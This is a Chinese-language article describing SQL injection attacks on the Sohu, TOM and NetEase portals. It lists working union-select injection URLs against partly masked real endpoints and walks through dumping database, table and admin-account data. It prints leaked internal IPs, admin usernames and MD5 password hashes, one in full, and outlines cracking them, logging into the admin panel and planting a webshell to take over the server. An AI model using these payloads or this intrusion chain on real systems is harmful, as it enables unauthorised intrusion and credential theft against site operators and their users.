對搜狐、網易和TOM三大門戶網站的SQL注入漏洞檢測
筆者對搜狐及TOM和網易這三大門戶網站作了注入攻擊檢測,發現同樣存在明顯的注入漏洞,安全性很糟糕。
1.MySQL注入檢測搜狐門戶網站
首先,來看看搜狐網站,搜狐網站上的動態網頁大部分是采用PHP語言編寫的,同樣注入也很多。例如:
http://app.sh.sohu.com/lo***l/s.php?id=636
這個網頁是一個歐萊雅廣告頁面,未對提交的數字參數進行檢測,可直接利用SQL注入獲得當前數據版本、庫名、用戶等信息。首先,通過Order by查詢獲得字段數目為9,然后通過union select查詢可獲得數據庫的各種信息(圖1):
http://app.sh.sohu.com/lo***l/s.php?id=636 and 1=2 union select 1,2,group_concat(user(),0x7C7C,version(),0x7C7C,database()),4,5,6,7,8,9
圖1 搜狐網站SQL注入查詢數據庫信息#p#
可得到當前數據庫用戶名為admin,數據庫服務器地址為10.10.82.159,數據庫版本為Mysql 5.0.27,當前數據庫名為sohush。
再進一步檢測,發現其中存在幾個非常重要的數據庫,包括:dvbbs、love008。前者是論壇數據庫,后者是2008專題數據庫。在論壇數據庫中,可猜解出管理員賬號和密碼為:jim、4591b******ee2b5。在love008數據庫中猜解出兩個管理員用戶和密碼分別為(圖2):
admin 21232f297a*****743894a0e4a801fc3
es 3e4a632cb*****8fc2386fa5f8e4bd76
圖2 猜解出管理員賬號與密碼#p#
雖然說管理員密碼都是MD5加密的,不過現在網上有20G的彩虹表下載,破解這些普通密碼MD5值并不是太困難的事情。通過后臺登陸,攻擊者可以想方設法上傳WebShell并進行提權與進一步滲透入侵操作。
此外,在搜狐網站中還有非常多的SQL注入點,舉例如下:
注入點1(圖3):http://card.money.****.com/yh/card_product.php?id=71
注入點2:http://blog.club.****.com/list_diary_detail.php?artid=43761&db=blog002P4&kindid=3403
注入點3:http://blog.club.****.com/list_diary.php?db=blog001P3&kindid=529
注入點4:http://mini***.163.com/2009/0909/wuliangye/article.php?id=13
注入點5:http://blog.club.****.com/list_diary.php?db=blog001P3&kindid=529
注入點6:http://people.business.****.com/person/plist.php?userid=2047
注入點7:http://minisite.it.****.com/minisite/site849/photodetail1.jsp?corpID=849&status=browse&privCode=04&pictureID=57275
注入點8:http://zj.svip.****.com/news/2010/duanxindasai/item_list.php?category_id=1905
圖3 搜狐注入點查詢數據庫信息#p#
2.MySQL注入檢測TOM門戶網站
TOM也是國內一大門戶網站,在對TOM門戶網站進行檢測的過程中,也發現了許多嚴重的SQL注入漏洞,而且危害性非常大,直接導致攻擊者登陸后臺上傳木馬獲得WebShell,并進一步控制整個網站服務器!
TOM網站的注入點地址為:
http://qd**.tom.com/blog_content.php?blogid=482
直接用Order by進行查詢時,會出錯并跳轉到網站首頁,可使用--終止符號進行隔斷處理,執行如下查詢:
http://qd**.tom.com/blog_content.php?blogid=482 order by 14--
返回正常頁面,得到字段數為14。再執行如下查詢(圖4):
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,group_concat(user(),0x7C7C,version(),0x7C7C,database()),4,5,6,7,8,9,10,11,12,13,14%20--
圖4 union聯合查詢獲得數據庫相關信息#p#
得到當前數據庫版本、數據庫名和用戶。再爆出當前數據庫中的所有表名,提交如下查詢:
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(table_name),5,6,7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()--
圖5 查詢到所有表名
在頁面返回信息中,即可得到所有表名(圖5)。在其中有名為adminuser的表名,表中很可能包含了管理員賬號及密碼,查詢該表中的列名,可提交如下查詢:
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7,8,9,10,11,12,13,14 from information_schema.columns where table_name=(0x61646D696E75736572)--#p#
圖6 返回用戶名及密碼數據列
從頁面返回信息中,可以看到用戶名及密碼列為username和pw(圖6)。現在要爆出用戶名和密碼的數據值,提交如下查詢語句:
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(username,0x7C,pw),5,6,7,8,9,10,11,12,13,14 from adminuser--#p#
圖7 獲得管理員賬號密碼信息
從返回的頁面信息中,可看到管理員用戶名為qdjxlq,密碼為3631137b9b0e47608c4ece9decc9a607(圖7)。密碼是經過MD5加密的32密文,破解并不是很困難。得到后臺管理員賬號密碼后,再尋找后臺登陸地址,得到后臺登陸鏈接地址為(圖8):
http://qd**.tom.com/admin/admin_login.php
圖8 管理員后臺登陸頁面
登陸后臺獲得WebShell后,就可以進一步入侵控制服務器并進行滲透攻擊。#p#
3.MySQL注入檢測網易門戶網站
在對國內其它門戶網站進行檢測時發現,有許多網站也同樣存在著SQL注入漏洞,例如在網易中存在如下注入點鏈接地址:
http://min****e.163.com/2009/0909/wuliangye/article.php?id=13
通過order by查詢可得到字段數,再通過提交如下查詢:
http://min****e.163.com/2009/0909/wuliangye/article.php?id=13%20and%201=2%20union%20select%201,database(),user(),version(),5,6,7,8
即可得到數據庫版本、用戶名和數據庫名信息(圖9)。由于數據庫為Mysql 4.0版本,因此不能直接爆出數據表名,只有靠字典一個個進行猜解,猜解起來比較麻煩。
圖9 網易注入點猜解示例
【編輯推薦】